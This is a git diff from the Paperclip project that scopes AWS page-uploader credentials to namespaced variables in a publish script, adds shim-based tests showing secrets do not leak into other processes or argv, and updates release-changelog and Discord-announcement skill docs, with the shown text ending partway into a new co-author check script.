diff --git a/.agents/skills/paperclip-dev-workspace-run-verify-fix/SKILL.md b/.agents/skills/paperclip-dev-workspace-run-verify-fix/SKILL.md index 29af882a84b..06e6b2efe59 100644 --- a/.agents/skills/paperclip-dev-workspace-run-verify-fix/SKILL.md +++ b/.agents/skills/paperclip-dev-workspace-run-verify-fix/SKILL.md @@ -208,7 +208,7 @@ is missing, the cloned app does not have the expected companies/issues/agents, or the user explicitly asks for the normal isolated-workspace database. ```sh -pnpm paperclipai worktree reseed --from-instance default --seed-mode full --yes +npx paperclipai worktree reseed --from-instance default --seed-mode full --yes ``` After reseed, restart through the managed runtime path. A reseed can copy diff --git a/.agents/skills/paperclip-page/README.md b/.agents/skills/paperclip-page/README.md index 4ba859741b4..21bf74d3349 100644 --- a/.agents/skills/paperclip-page/README.md +++ b/.agents/skills/paperclip-page/README.md @@ -73,8 +73,8 @@ Required for live publishes: export AWS_REGION=us-east-1 export PAPERCLIP_PAGE_BUCKET=paperclip-pages-prod export PAPERCLIP_PAGE_BASE_URL=https://pages.paperclip.ing -export AWS_ACCESS_KEY_ID=... -export AWS_SECRET_ACCESS_KEY=... +export PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID=... +export PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY=... ``` Optional: @@ -82,15 +82,35 @@ Optional: ```bash export PAPERCLIP_PAGE_DEFAULT_PREFIX="" export PAPERCLIP_PAGE_AWS_PROFILE=paperclip-page-uploader +export PAPERCLIP_PAGE_AWS_SESSION_TOKEN=... # only with the namespaced key pair ``` +Credential resolution order inside `publish.sh`: + +1. `PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID` + `PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY` + (scoped to the helper's `aws` calls; the surrounding process identity is + untouched) +2. `PAPERCLIP_PAGE_AWS_PROFILE`, passed to `aws` as `--profile` (ambient + `AWS_ACCESS_KEY_ID` / `AWS_SECRET_ACCESS_KEY` / `AWS_SESSION_TOKEN` / + `AWS_PROFILE` are stripped from the helper's `aws` calls so the named + profile always wins) +3. The ambient AWS credential chain + +Setting both the namespaced key pair and `PAPERCLIP_PAGE_AWS_PROFILE` is an +error. + Recommended Paperclip secret names: - `paperclip-page-aws-access-key-id` - `paperclip-page-aws-secret-access-key` -Bind those secrets into publisher agents as `AWS_ACCESS_KEY_ID` and -`AWS_SECRET_ACCESS_KEY`. Do not reuse Paperclip's internal S3 attachment/object +Bind those secrets into publisher agents as `PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID` +and `PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY`. Never bind them as the global +`AWS_ACCESS_KEY_ID` / `AWS_SECRET_ACCESS_KEY` names: static env keys override +`AWS_PROFILE` in the AWS CLI and every SDK, so global names silently switch the +whole agent run — and every subprocess — to the page-uploader identity and +break access to anything the uploader cannot reach (Secrets Manager, STS role +use, other buckets). Do not reuse Paperclip's internal S3 attachment/object storage credentials. ## AWS Setup @@ -473,27 +493,29 @@ Create secrets from environment variables so values do not land in shell history export PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID="$(jq -r '.AccessKey.AccessKeyId' /tmp/paperclip-page-uploader-key.json)" export PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY="$(jq -r '.AccessKey.SecretAccessKey' /tmp/paperclip-page-uploader-key.json)" -pnpm paperclipai secrets create \ +npx paperclipai secrets create \ --company-id \ --name paperclip-page-aws-access-key-id \ --value-env PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID -pnpm paperclipai secrets create \ +npx paperclipai secrets create \ --company-id \ --name paperclip-page-aws-secret-access-key \ --value-env PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY ``` -Bind runtime env to publishing agents: +Bind runtime env to publishing agents. Use the namespaced names — never the +global `AWS_ACCESS_KEY_ID` / `AWS_SECRET_ACCESS_KEY`, which would shadow the +host `AWS_PROFILE` identity for the entire agent run: ```json { - "AWS_ACCESS_KEY_ID": { + "PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID": { "type": "secret_ref", "secretId": "", "version": "latest" }, - "AWS_SECRET_ACCESS_KEY": { + "PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY": { "type": "secret_ref", "secretId": "", "version": "latest" @@ -510,7 +532,7 @@ Bind runtime env to publishing agents: Create or update the company skill from this package: ```bash -pnpm paperclipai skills create \ +npx paperclipai skills create \ --company-id \ --name "Paperclip Page" \ --slug paperclip-page \ @@ -521,7 +543,7 @@ pnpm paperclipai skills create \ Attach it to an agent: ```bash -pnpm paperclipai skills agent sync \ +npx paperclipai skills agent sync \ --company-id \ --skill paperclip-page ``` diff --git a/.agents/skills/paperclip-page/SKILL.md b/.agents/skills/paperclip-page/SKILL.md index e9e74cfe085..df77444874d 100644 --- a/.agents/skills/paperclip-page/SKILL.md +++ b/.agents/skills/paperclip-page/SKILL.md @@ -19,10 +19,20 @@ host, for example `https://pages.paperclip.ing//`. - `PAPERCLIP_PAGE_BUCKET` - `PAPERCLIP_PAGE_BASE_URL` - `AWS_REGION` - - AWS credentials via Paperclip Secrets or an approved AWS vault + - `PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID` and `PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY` + with the page-uploader credentials from Paperclip Secrets - Optional environment variables: - `PAPERCLIP_PAGE_DEFAULT_PREFIX` - - `PAPERCLIP_PAGE_AWS_PROFILE` + - `PAPERCLIP_PAGE_AWS_PROFILE` (alternative to the namespaced key pair) + - `PAPERCLIP_PAGE_AWS_SESSION_TOKEN` (only together with the namespaced key + pair) + +Do not bind the page-uploader credentials as global `AWS_ACCESS_KEY_ID` / +`AWS_SECRET_ACCESS_KEY`: static env keys take precedence over `AWS_PROFILE` in +every AWS SDK, so global names silently replace the host identity for every +process in the agent run. The namespaced variables scope the uploader identity +to this helper only. The ambient credential chain still works as a fallback +when none of the `PAPERCLIP_PAGE_AWS_*` credential variables are set. ## Workflow diff --git a/.agents/skills/paperclip-page/scripts/publish.sh b/.agents/skills/paperclip-page/scripts/publish.sh index 2aa3a356add..086003a1e11 100755 --- a/.agents/skills/paperclip-page/scripts/publish.sh +++ b/.agents/skills/paperclip-page/scripts/publish.sh @@ -15,6 +15,15 @@ Required environment for live publish: Optional environment: PAPERCLIP_PAGE_DEFAULT_PREFIX, PAPERCLIP_PAGE_AWS_PROFILE + PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID, PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY, + PAPERCLIP_PAGE_AWS_SESSION_TOKEN + +Credential resolution for aws calls made by this helper: + 1. PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID + PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY + (used only by this helper; ambient AWS_PROFILE/AWS_* identity is untouched) + 2. PAPERCLIP_PAGE_AWS_PROFILE (passed as --profile; ambient AWS_* identity + variables are stripped from the helper's aws calls) + 3. Ambient AWS credential chain (env keys, profile, instance role) Options: --slug SLUG Lowercase URL slug. Allowed: a-z, 0-9, hyphen. @@ -125,9 +134,26 @@ join_prefix() { } aws_base_args=() +aws_env_unset=() +aws_env_overrides=() aws_cli() { - aws "${aws_base_args[@]}" "$@" + local name pair + if [[ ${#aws_env_unset[@]} -gt 0 || ${#aws_env_overrides[@]} -gt 0 ]]; then + # Scope the page-uploader identity to this helper's aws calls only, and + # drop the ambient identity variables that would otherwise mix with or + # shadow the configured credential source. Apply the overrides with shell + # builtins in a subshell — passing them to an external `env` command would + # expose the credential values in its argv (world-readable via + # /proc//cmdline) while it runs. + ( + for name in "${aws_env_unset[@]}"; do unset "$name"; done + for pair in "${aws_env_overrides[@]}"; do export "$pair"; done + exec aws "${aws_base_args[@]}" "$@" + ) + else + aws "${aws_base_args[@]}" "$@" + fi } object_exists() { @@ -297,6 +323,18 @@ default_prefix="$(normalize_default_prefix "${PAPERCLIP_PAGE_DEFAULT_PREFIX:-}") [[ -n "$base_url" ]] || die "PAPERCLIP_PAGE_BASE_URL is required" base_url="$(normalize_base_url "$base_url")" +page_access_key_id="${PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID:-}" +page_secret_access_key="${PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY:-}" +if [[ -n "$page_access_key_id" || -n "$page_secret_access_key" ]]; then + [[ -n "$page_access_key_id" && -n "$page_secret_access_key" ]] || + die "PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID and PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY must be set together" + [[ -z "${PAPERCLIP_PAGE_AWS_PROFILE:-}" ]] || + die "set PAPERCLIP_PAGE_AWS_PROFILE or the PAPERCLIP_PAGE_AWS_* key pair, not both" +fi +if [[ -n "${PAPERCLIP_PAGE_AWS_SESSION_TOKEN:-}" && -z "$page_access_key_id" ]]; then + die "PAPERCLIP_PAGE_AWS_SESSION_TOKEN requires the PAPERCLIP_PAGE_AWS_* key pair" +fi + explicit_slug=0 if [[ -n "$slug_arg" ]]; then explicit_slug=1 @@ -310,8 +348,18 @@ if [[ "$dry_run" == "0" ]]; then require_command curl [[ -n "$region" ]] || die "AWS_REGION is required for live publish" aws_base_args=(--region "$region") - if [[ -n "${PAPERCLIP_PAGE_AWS_PROFILE:-}" ]]; then + if [[ -n "$page_access_key_id" ]]; then + aws_env_unset=(AWS_PROFILE AWS_SESSION_TOKEN) + aws_env_overrides=( + AWS_ACCESS_KEY_ID="$page_access_key_id" + AWS_SECRET_ACCESS_KEY="$page_secret_access_key" + ) + if [[ -n "${PAPERCLIP_PAGE_AWS_SESSION_TOKEN:-}" ]]; then + aws_env_overrides+=(AWS_SESSION_TOKEN="$PAPERCLIP_PAGE_AWS_SESSION_TOKEN") + fi + elif [[ -n "${PAPERCLIP_PAGE_AWS_PROFILE:-}" ]]; then aws_base_args+=(--profile "$PAPERCLIP_PAGE_AWS_PROFILE") + aws_env_unset=(AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN AWS_PROFILE) fi fi diff --git a/.agents/skills/paperclip-page/scripts/publish.test.mjs b/.agents/skills/paperclip-page/scripts/publish.test.mjs index 8ef4b47bd2a..bb8384bfb0b 100644 --- a/.agents/skills/paperclip-page/scripts/publish.test.mjs +++ b/.agents/skills/paperclip-page/scripts/publish.test.mjs @@ -131,6 +131,215 @@ test("rejects hidden files in the source tree", () => { assert.match(result.output, /hidden files and dot paths are not allowed/); }); +test("namespaced page keys require both halves of the pair", () => { + const result = runPublish( + [createSite(), "--slug", "demo-page", "--dry-run"], + { PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID: "AKIAPAGEUPLOADER" }, + ); + + assert.notEqual(result.status, 0); + assert.match(result.output, /must be set together/); +}); + +test("namespaced session token requires the namespaced key pair", () => { + const result = runPublish( + [createSite(), "--slug", "demo-page", "--dry-run"], + { PAPERCLIP_PAGE_AWS_SESSION_TOKEN: "page-session-token" }, + ); + + assert.notEqual(result.status, 0); + assert.match(result.output, /requires the PAPERCLIP_PAGE_AWS_\* key pair/); +}); + +test("namespaced page keys conflict with PAPERCLIP_PAGE_AWS_PROFILE", () => { + const result = runPublish( + [createSite(), "--slug", "demo-page", "--dry-run"], + { + PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID: "AKIAPAGEUPLOADER", + PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY: "page-secret", + PAPERCLIP_PAGE_AWS_PROFILE: "paperclip-page-uploader", + }, + ); + + assert.notEqual(result.status, 0); + assert.match(result.output, /not both/); +}); + +test("namespaced page keys are scoped to the helper's aws calls", () => { + const siteDir = createSite(); + const binDir = mkdtempSync(join(tmpdir(), "paperclip-page-bin-")); + tempDirs.add(binDir); + const envDump = join(binDir, "aws-env.txt"); + + writeExecutable( + join(binDir, "aws"), + `#!/usr/bin/env bash +set -euo pipefail +{ + echo "AWS_ACCESS_KEY_ID=\${AWS_ACCESS_KEY_ID:-}" + echo "AWS_SECRET_ACCESS_KEY=\${AWS_SECRET_ACCESS_KEY:-}" + echo "AWS_SESSION_TOKEN=\${AWS_SESSION_TOKEN:-}" + echo "AWS_PROFILE=\${AWS_PROFILE:-}" +} >"${envDump}" +while [[ "$1" == "--region" || "$1" == "--profile" ]]; do + shift 2 +done +if [[ "$1" == "s3api" ]]; then + echo "None" + exit 0 +fi +if [[ "$1" == "s3" && "$2" == "sync" ]]; then + exit 0 +fi +echo "unexpected aws call: $*" >&2 +exit 1 +`, + ); + writeExecutable( + join(binDir, "curl"), + `#!/usr/bin/env bash +exit 0 +`, + ); + + const result = runPublish([siteDir, "--slug", "demo-page"], { + AWS_REGION: "us-east-1", + PATH: `${binDir}:${process.env.PATH}`, + AWS_ACCESS_KEY_ID: "AKIAAMBIENTIDENTITY", + AWS_SECRET_ACCESS_KEY: "ambient-secret", + AWS_SESSION_TOKEN: "ambient-session-token", + AWS_PROFILE: "ambient-profile", + PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID: "AKIAPAGEUPLOADER", + PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY: "page-secret", + }); + + assert.equal(result.status, 0); + + const seen = readFileSync(envDump, "utf8"); + assert.match(seen, /^AWS_ACCESS_KEY_ID=AKIAPAGEUPLOADER$/m); + assert.match(seen, /^AWS_SECRET_ACCESS_KEY=page-secret$/m); + assert.match(seen, /^AWS_SESSION_TOKEN=$/m); + assert.match(seen, /^AWS_PROFILE=$/m); +}); + +test("credential values never pass through an external env command's argv", () => { + const siteDir = createSite(); + const binDir = mkdtempSync(join(tmpdir(), "paperclip-page-bin-")); + tempDirs.add(binDir); + const envArgvDump = join(binDir, "env-argv.txt"); + + writeExecutable( + join(binDir, "aws"), + `#!/usr/bin/env bash +set -euo pipefail +while [[ "$1" == "--region" || "$1" == "--profile" ]]; do + shift 2 +done +if [[ "$1" == "s3api" ]]; then + echo "None" + exit 0 +fi +if [[ "$1" == "s3" && "$2" == "sync" ]]; then + exit 0 +fi +echo "unexpected aws call: $*" >&2 +exit 1 +`, + ); + writeExecutable( + join(binDir, "curl"), + `#!/usr/bin/env bash +exit 0 +`, + ); + // Shim env: record every argv it is invoked with, then behave normally. + // Credentials in that argv would be world-readable via /proc//cmdline. + writeExecutable( + join(binDir, "env"), + `#!/bin/bash +printf '%s\\n' "$@" >>"${envArgvDump}" +exec /usr/bin/env "$@" +`, + ); + + const result = runPublish([siteDir, "--slug", "demo-page"], { + AWS_REGION: "us-east-1", + PATH: `${binDir}:${process.env.PATH}`, + PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID: "AKIAPAGEUPLOADER", + PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY: "page-secret-argv-canary", + PAPERCLIP_PAGE_AWS_SESSION_TOKEN: "page-session-argv-canary", + }); + + assert.equal(result.status, 0); + + const argvSeen = existsSync(envArgvDump) ? readFileSync(envArgvDump, "utf8") : ""; + assert.doesNotMatch(argvSeen, /page-secret-argv-canary/); + assert.doesNotMatch(argvSeen, /page-session-argv-canary/); + assert.doesNotMatch(argvSeen, /AKIAPAGEUPLOADER/); +}); + +test("PAPERCLIP_PAGE_AWS_PROFILE strips ambient static credentials", () => { + const siteDir = createSite(); + const binDir = mkdtempSync(join(tmpdir(), "paperclip-page-bin-")); + tempDirs.add(binDir); + const envDump = join(binDir, "aws-env.txt"); + + writeExecutable( + join(binDir, "aws"), + `#!/usr/bin/env bash +set -euo pipefail +profile="" +while [[ "$1" == "--region" || "$1" == "--profile" ]]; do + if [[ "$1" == "--profile" ]]; then + profile="$2" + fi + shift 2 +done +{ + echo "PROFILE_ARG=$profile" + echo "AWS_ACCESS_KEY_ID=\${AWS_ACCESS_KEY_ID:-}" + echo "AWS_SECRET_ACCESS_KEY=\${AWS_SECRET_ACCESS_KEY:-}" + echo "AWS_SESSION_TOKEN=\${AWS_SESSION_TOKEN:-}" + echo "AWS_PROFILE=\${AWS_PROFILE:-}" +} >"${envDump}" +if [[ "$1" == "s3api" ]]; then + echo "None" + exit 0 +fi +if [[ "$1" == "s3" && "$2" == "sync" ]]; then + exit 0 +fi +echo "unexpected aws call: $*" >&2 +exit 1 +`, + ); + writeExecutable( + join(binDir, "curl"), + `#!/usr/bin/env bash +exit 0 +`, + ); + + const result = runPublish([siteDir, "--slug", "demo-page"], { + AWS_REGION: "us-east-1", + PATH: `${binDir}:${process.env.PATH}`, + AWS_ACCESS_KEY_ID: "AKIAAMBIENTIDENTITY", + AWS_SECRET_ACCESS_KEY: "ambient-secret", + AWS_SESSION_TOKEN: "ambient-session-token", + AWS_PROFILE: "ambient-profile", + PAPERCLIP_PAGE_AWS_PROFILE: "paperclip-page-uploader", + }); + + assert.equal(result.status, 0); + + const seen = readFileSync(envDump, "utf8"); + assert.match(seen, /^PROFILE_ARG=paperclip-page-uploader$/m); + assert.match(seen, /^AWS_ACCESS_KEY_ID=$/m); + assert.match(seen, /^AWS_SECRET_ACCESS_KEY=$/m); + assert.match(seen, /^AWS_SESSION_TOKEN=$/m); + assert.match(seen, /^AWS_PROFILE=$/m); +}); + test("live publish writes state before URL verification", () => { const siteDir = createSite(); const binDir = mkdtempSync(join(tmpdir(), "paperclip-page-bin-")); diff --git a/.agents/skills/release-changelog-discord-message/SKILL.md b/.agents/skills/release-changelog-discord-message/SKILL.md index 367ee8474d2..cd8cc50af3f 100644 --- a/.agents/skills/release-changelog-discord-message/SKILL.md +++ b/.agents/skills/release-changelog-discord-message/SKILL.md @@ -11,7 +11,11 @@ description: > Write the Discord release announcement for the **stable** Paperclip release. This is the companion to `.agents/skills/release-changelog/SKILL.md`. That skill -generates the file at `releases/vYYYY.MDD.P.md`. This skill turns that file into +writes the changelog — during the beta soak it lives at +`releases/beta/v{beta-version}.md` on the `release-notes/v{beta-version}` +branch, and after the stable ships a canonicalization PR renames it to +`releases/vYYYY.MDD.P.md` (see that skill's Channel Process section). This +skill turns that file into a single copy-pasteable Discord block, in dotta's voice, and posts it as the `discord_announcement` document on the release issue. @@ -27,8 +31,9 @@ current Paperclip work — not invented. ## When to use -- After `release-changelog` has produced `releases/vYYYY.MDD.P.md` on the - release worktree/PR. +- After `release-changelog` has produced the changelog (beta-keyed on the + `release-notes/v{beta-version}` branch during the soak, or the + canonicalized `releases/vYYYY.MDD.P.md` after the stable ships). - When the release issue (the one assigned by the release routine) asks for a Discord announcement, or has a `discord_announcement` document that needs to be refreshed for a new date/version. @@ -123,6 +128,12 @@ Notes on the template: - The opening and closing `:paperclip: :paperclip: :paperclip:` bookends are part of the brand — keep them. +- Name the install channels somewhere in the post: `npx paperclipai@latest` + for the stable, `@beta` / `@nightly` / `@canary` for earlier access, and + Docker `:latest` moving **only** on stable releases. +- The FULL RELEASE NOTES link points at `releases/v{VERSION}.md` on + `master` — that file exists only after the post-stable canonicalization + PR merges. Merge it before the announcement is posted. - Sections may be UPPERCASE or Title Case — dotta has used both. Pick a style and stay consistent within a single post. - Use `||@everyone||` (Discord spoiler-wrapped) at the very end so it pings @@ -152,6 +163,9 @@ Mimic this register; do not invent a "professional" tone. - **"WHATS NEXT" is forward-looking themes**, not a literal sprint list. 3–5 bullets is the right size. Pull these from active goals, in-flight projects, and recent issues the team is working on — do not invent themes. +- **Highlights follow the changelog skill's delta rule**: a feature the + previous announcement already introduced appears only for what changed + this release, and does not headline twice for follow-through work. - **"What's on my mind"** is dotta's personal/strategic thinking — docs gaps, philosophical positioning ("we're the human control plane for ai labor"), invitations ("if you've ever wanted to write about how you use Paperclip, @@ -163,7 +177,8 @@ Mimic this register; do not invent a "professional" tone. (follow the twitter, intros, beta sign-ups). No real ask → drop it. - **Community** is the same contributors list that's in the changelog file, fenced in a triple-backtick block, comma-separated `@username, @username`. - Exclude bots and Paperclip founders, same rules as the changelog skill. + Exclude bots and the specific folks on the changelog skill's canonical + exclusion list — same rules. - **The "In Summary" mission line** evolves slowly. Use the most recent variant unless dotta tells you otherwise. Recent variants: - "PAPERCLIP IS THE AI ORCHESTRATOR FOR HUMANS TO ACCOMPLISH 100x MORE WORK" @@ -174,15 +189,19 @@ Mimic this register; do not invent a "professional" tone. ## Workflow -1. Read the matching `releases/vYYYY.MDD.P.md` produced by `release-changelog`. - Use the version and contributor list from that file — never re-derive them. +1. Read the matching changelog produced by `release-changelog` — the + beta-keyed file during the soak, `releases/vYYYY.MDD.P.md` once + canonicalized. Use the version and contributor list from that file — + never re-derive them. 2. Resolve the parent `release` case with key `paperclip-release:vYYYY.MDD.P`. If it does not exist and Cases are enabled, create it using the schema in `.agents/skills/release-changelog/SKILL.md` before creating child cases. 3. Read the **release issue thread** (the one assigned to you that ran the release routine) — comments + linked issues + recent issues in the company - are the source for `WHATS NEXT` and `What's on my mind`. Pull real themes, - not invented ones. + are the source for `WHATS NEXT` and `What's on my mind`. Commits already + on `origin/master` **after** the beta source commit are prime "what's + next" material: they are literally the next release's content. Pull real + themes, not invented ones. 4. Re-read the three verbatim examples below — they're the canonical voice. 5. Draft the announcement using the template above. 6. PUT it as the `discord_announcement` document on the release issue (see @@ -444,7 +463,8 @@ https://github.com/paperclipai/paperclip/blob/master/releases/v2026.427.0.md Before handing off: 1. Version + date match the matching `releases/vYYYY.MDD.P.md` exactly. -2. Contributor list matches the changelog (same exclusions: bots, founders). +2. Contributor list matches the changelog (same exclusions: bots and the + changelog skill's canonical excluded-folks list). 3. Highlights are a subset of the changelog Highlights — same shipped features, not invented or pre-alpha work. 4. `WHATS NEXT` and `What's on my mind` are pulled from real recent issues / diff --git a/.agents/skills/release-changelog/SKILL.md b/.agents/skills/release-changelog/SKILL.md index 8bf662ed6b3..55e7b360ea3 100644 --- a/.agents/skills/release-changelog/SKILL.md +++ b/.agents/skills/release-changelog/SKILL.md @@ -32,14 +32,57 @@ Important rules: - do not derive versions from semver bump types - do not create canary changelog files +## Channel Process — Source Commit and File Location + +Stables promote a **soaked beta**, so the changelog describes the beta's +source commit, not the tip of `master`: + +- The release **source** is the commit the newest `beta/v` + tag points at (`{beta-src}` below). Resolve it with: + + ```bash + git fetch origin --tags + npm view paperclipai dist-tags # the beta dist-tag names the version + git rev-parse 'beta/v{beta-version}^{commit}' + ``` + +- Commits on `master` after `{beta-src}` ship in the **next** release. + Never include them; they are input for a "what's next" section, not the + changelog. +- During the soak, the file lives at `releases/beta/v{beta-version}.md` + on the branch `release-notes/v{beta-version}` (PR to `master`). The + release workflow pushes that branch with a generated skeleton when the + beta publishes; work on it and rewrite the skeleton in place. If the + branch does not exist (a beta cut before the automation), create it + from `origin/master` and seed the skeleton: + + ```bash + ./scripts/draft-stable-notes.sh {beta-version} + ``` + +- The PR must merge to `master` **before** the stable is dispatched: the + stable preflight reads the file from `master` and fails without it. +- Never create `releases/vYYYY.MDD.P.md` yourself on this path — after + the stable ships, the workflow opens a canonicalization PR that renames + the beta-keyed file to it. +- **Fix path exception** (patch releases from a `candidate/release-*` + branch): there the notes *do* go directly on the candidate branch as + `releases/vYYYY.MDD.P.md`, committed alongside the cherry-picked fixes. + ## Step 0 — Idempotency Check -Before generating anything, check whether the file already exists: +Before generating anything, check whether the changelog already exists: ```bash -ls releases/vYYYY.MDD.P.md 2>/dev/null +ls releases/beta/v{beta-version}.md 2>/dev/null # soak-window home +ls releases/vYYYY.MDD.P.md 2>/dev/null # canonicalized / fix path +git ls-remote origin 'refs/heads/release-notes/v{beta-version}' ``` +A `release-notes/v{beta-version}` branch holding only the generated +skeleton is the normal starting state, not a conflict — rewrite it in +place. + If it exists: 1. read it first @@ -49,13 +92,17 @@ If it exists: ## Step 1 — Determine the Stable Range -Find the last stable tag: +Find the last stable tag and the beta source commit: ```bash git tag --list 'v*' --sort=-version:refname | head -1 -git log v{last}..HEAD --oneline --no-merges +beta_src="$(git rev-parse 'beta/v{beta-version}^{commit}')" +git log v{last}..${beta_src} --oneline --no-merges ``` +The changelog range is always `v{last}..{beta-src}` — never `..HEAD` and +never `..origin/master`. + The stable version comes from one of: - an explicit maintainer request @@ -76,8 +123,8 @@ Collect release data from: Useful commands: ```bash -git log v{last}..HEAD --oneline --no-merges -git log v{last}..HEAD --format="%H %s" --no-merges +git log v{last}..{beta-src} --oneline --no-merges +git log v{last}..{beta-src} --format="%H %s" --no-merges ls .changeset/*.md | grep -v README.md gh pr list --state merged --search "merged:>={last-tag-date}" --json number,title,body,labels ``` @@ -94,10 +141,10 @@ Look for: Key commands: ```bash -git diff --name-only v{last}..HEAD -- packages/db/src/migrations/ -git diff v{last}..HEAD -- packages/db/src/schema/ -git diff v{last}..HEAD -- server/src/routes/ server/src/api/ -git log v{last}..HEAD --format="%s" | rg -n 'BREAKING CHANGE|BREAKING:|^[a-z]+!:' || true +git diff --name-only v{last}..{beta-src} -- packages/db/src/migrations/ +git diff v{last}..{beta-src} -- packages/db/src/schema/ +git diff v{last}..{beta-src} -- server/src/routes/ server/src/api/ +git log v{last}..{beta-src} --format="%s" | rg -n 'BREAKING CHANGE|BREAKING:|^[a-z]+!:' || true ``` If breaking changes are detected, flag them prominently — they must appear in the @@ -121,6 +168,14 @@ Guidelines: - write from the user perspective - keep highlights short and concrete - spell out upgrade actions for breaking changes +- **describe deltas, not repeats**: read the previous stable's notes + (`releases/v.md`) before writing. When they already + introduced a feature, this release's entry covers only what changed — + a default flip, a hardening, a completion — phrased against the prior + release ("last release introduced X; this release makes it the + default"), never re-describing the feature as if it debuted. A theme + that headlined the previous release does not headline again for + follow-through work; demote it to Improvements. ### Inline PR and contributor attribution @@ -143,6 +198,14 @@ Rules: ## Step 5 — Write the File +The **file path** is the beta-keyed one from the Channel Process section +(`releases/beta/v{beta-version}.md`), but the **content** is titled with +the planned stable version. Resolve it with +`./scripts/release.sh stable --date {planned-promotion-date} --print-version` +(promotion is normally the beta publish date plus the 3-day soak). If the +promotion date slips, the version re-resolves at dispatch — the beta-keyed +filename makes that harmless; refresh the title when it happens. + The opening line of the changelog must be an H1 of the format `# Paperclip {version}` (no braces), e.g. `# Paperclip v2026.618.0`. Always include the `Paperclip ` prefix and the `v` on the version. @@ -177,14 +240,18 @@ The `Contributors` section should always be included. List every person who auth commits in the release range, @-mentioning them by their **GitHub username** (not their real name or email). To find GitHub usernames: -1. Extract usernames from merge commit messages: `git log v{last}..HEAD --oneline --merges` — the branch prefix (e.g. `from username/branch`) gives the GitHub username. +1. Extract usernames from merge commit messages: `git log v{last}..{beta-src} --oneline --merges` — the branch prefix (e.g. `from username/branch`) gives the GitHub username. 2. For noreply emails like `user@users.noreply.github.com`, the username is the part before `@`. 3. For contributors whose username is ambiguous, check `gh api users/{guess}` or the PR page. **Never expose contributor email addresses.** Use `@username` only. Exclude bot accounts (e.g. `lockfile-bot`, `dependabot`) from the list. -Exclude Paperclip founders from the list (e.g. `cryppadotta`, `forgottendev`, `devinfoley`, `sockmonster`, `scotttong`) +Exclude specific folks from the list — the Contributors section credits +community contributors only. The canonical exclusion list (keep it here; +the Discord skill defers to it): +`cryppadotta`, `forgottendev`, `devinfoley`, `sockmonster`, `scotttong`, +`nguyenm7`, `nickyleach`, `tonio-alucema` List contributors in alphabetical order by GitHub username (case-insensitive). diff --git a/.claude/launch.json b/.claude/launch.json index 7cbc05c40a6..6258bdc8ccf 100644 --- a/.claude/launch.json +++ b/.claude/launch.json @@ -4,9 +4,12 @@ { "name": "paperclip", "runtimeExecutable": "/bin/sh", - "runtimeArgs": ["-c", "TMPDIR=/tmp pnpm dev"], + "runtimeArgs": [ + "-c", + "TMPDIR=/tmp pnpm dev" + ], "port": 3108, - "autoPort": false + "autoPort": true } ] } diff --git a/.env.example b/.env.example index e747df0914d..ddd69484baa 100644 --- a/.env.example +++ b/.env.example @@ -4,5 +4,11 @@ SERVE_UI=false BETTER_AUTH_SECRET=paperclip-dev-secret PAPERCLIP_TOOL_ACTION_SIGNING_SECRET=paperclip-dev-tool-action-signing-secret-change-me +# Process-wide protection for expensive full-tree workspace Git scans. +# PAPERCLIP_WORKSPACE_GIT_SCAN_CONCURRENCY=2 +# PAPERCLIP_WORKSPACE_GIT_SCAN_QUEUE_CAPACITY=32 +# PAPERCLIP_WORKSPACE_GIT_SCAN_TIMEOUT_MS=8000 +# PAPERCLIP_WORKSPACE_GIT_SCAN_CACHE_TTL_MS=10000 + # Discord webhook for daily merge digest (scripts/discord-daily-digest.sh) # DISCORD_WEBHOOK_URL=https://discord.com/api/webhooks/... diff --git a/.github/dependabot.yml b/.github/dependabot.yml index ff0b351468a..70158884961 100644 --- a/.github/dependabot.yml +++ b/.github/dependabot.yml @@ -6,13 +6,21 @@ updates: interval: weekly day: monday time: "06:00" - open-pull-requests-limit: 10 + # Each dependency update gets its own pull request, including major + # version bumps. A grouped major PR cannot merge when one member has + # a blocked upgrade, so it hides the other ready majors. Separate PRs + # let each major land on its own. The limit holds the initial burst + # of pending majors plus the regular minor and patch updates. + open-pull-requests-limit: 20 labels: - "dependencies" ignore: - # Ignore major version bumps — review those manually - - dependency-name: "*" - update-types: ["version-update:semver-major"] + # @types/node describes the APIs available in the supported Node runtime. + # Runtime major upgrades are deliberate compatibility changes, so keep + # Dependabot on the current major until the runtime baseline moves too. + - dependency-name: "@types/node" + update-types: + - "version-update:semver-major" - package-ecosystem: github-actions directory: "/" diff --git a/.github/scripts/check-pr-coauthors.mjs b/.github/scripts/check-pr-coauthors.mjs new file mode 100644 index 00000000000..13239dd8e1d --- /dev/null +++ b/.github/scripts/check-pr-coauthors.mjs @@ -0,0 +1,135 @@ +#!/usr/bin/env node +/** + * check-pr-coauthors.mjs + * Surfaces the `Co-Authored-By` trailers a squash merge needs to keep + * contributors credited. + * Export: checkCoauthors(commits, prAuthor) → { passed, informational } + * + * This repository squash-merges, so every commit on a branch collapses into + * one commit authored by whoever presses the button. When a branch carries + * someone else's work — a rebase 